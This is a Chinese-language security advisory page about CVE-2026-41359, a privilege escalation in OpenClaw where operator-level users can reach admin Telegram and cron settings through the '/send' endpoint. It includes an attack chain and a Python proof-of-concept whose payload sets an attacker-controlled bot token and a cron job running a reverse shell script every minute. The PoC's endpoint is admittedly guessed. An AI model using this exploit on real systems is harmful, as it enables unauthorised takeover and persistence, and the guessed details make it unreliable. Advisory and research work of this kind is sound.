IPBUF安全漏洞报告
English
CVE-2026-41359 CVSS 7.1 高危

CVE-2026-41359 OpenClaw权限提升漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41359
漏洞类型
权限提升
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

权限提升OpenClaw访问控制失效CVE-2026-41359Privilege Escalation

漏洞概述

OpenClaw 2026.3.28之前的版本中存在一个高危权限提升漏洞。该漏洞源于系统对特定端点的访问控制验证不足。已通过身份验证且具有写入权限的操作员用户,能够利用send端点越权访问本应仅限管理员操作的Telegram配置接口和cron持久化设置。由于缺乏严格的权限校验,攻击者可以借此获取敏感配置信息并篡改系统的持久化机制,对系统完整性造成严重影响。

技术细节

该漏洞的核心原因在于OpenClaw后端对send端点的访问控制列表(ACL)配置不当,未能区分普通操作员权限与管理员权限在特定敏感资源上的操作界限。在技术实现上,send端点被设计为多功能接口,但未在处理逻辑中实施严格的基于角色的访问控制(RBAC)检查。当用户发起请求时,系统仅校验了请求者是否具备基础的“operator.write”凭证,而忽略了该请求试图访问或修改的资源对象(如Telegram配置文件和Cron作业)属于高敏感度的管理员范畴。攻击者利用此逻辑缺陷,可以通过发送特制的API请求(通常是POST或PUT请求),并在Body中携带恶意构造的JSON数据,直接调用内部管理接口。这使得攻击者能够绕过前端界面限制,直接覆盖Telegram Bot的Token或API端点,甚至通过修改Cron计划任务实现恶意代码的定时执行。整个过程无需用户交互,且利用难度低,一旦成功将直接导致系统完整性受损。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标系统运行的是OpenClaw且版本低于2026.3.28。
STEP 2
2. 获取凭证
攻击者通过钓鱼或其他手段获取一个具有'operator.write'权限的低权限账户凭证。
STEP 3
3. 发送恶意请求
攻击者利用获取的凭证,向'/send'端点发送特制的HTTP POST请求,请求体中包含旨在修改Telegram配置或Cron任务的参数。
STEP 4
4. 权限提升
由于后端未校验该操作是否需要管理员权限,系统接受了请求,导致低权限操作员成功执行了管理员级别的配置修改。
STEP 5
5. 维持持久化
攻击者通过修改Cron任务或Telegram配置,植入后门或建立持久化连接,完全控制系统的部分功能。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 import requests import json # Exploit Title: OpenClaw Privilege Escalation via send endpoint # Date: 2026-04-23 # Exploit Author: Researcher # Vendor Homepage: https://github.com/openclaw/openclaw # Version: < 2026.3.28 # CVE: CVE-2026-41359 def exploit(target_url, operator_token): """ Exploit CVE-2026-41359 to modify admin settings using operator.write permissions. """ headers = { "Authorization": f"Bearer {operator_token}", "Content-Type": "application/json" } # Payload to modify Telegram configuration or Cron persistence payload = { "telegram_config": { "enabled": True, "bot_token": "ATTACKER_CONTROLLED_TOKEN" }, "cron_persistence": { "command": "reverse_shell_script.sh", "schedule": "* * * * *" } } # The vulnerable endpoint is '/send' based on description endpoint = f"{target_url.rstrip('/')}/send" try: print(f"[*] Attempting to exploit {target_url}...") response = requests.post(endpoint, headers=headers, data=json.dumps(payload), verify=False) if response.status_code == 200: print("[+] Exploit successful! Admin settings likely modified.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Usage example target = "http://localhost:8080" token = "VALID_OPERATOR_WRITE_TOKEN" exploit(target, token)

影响范围

OpenClaw < 2026.3.28

防御指南

临时缓解措施
在未升级补丁之前,建议立即收回不必要的'operator.write'权限,并在网络边界处部署WAF规则,拦截针对'/send'端点的包含敏感配置参数的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表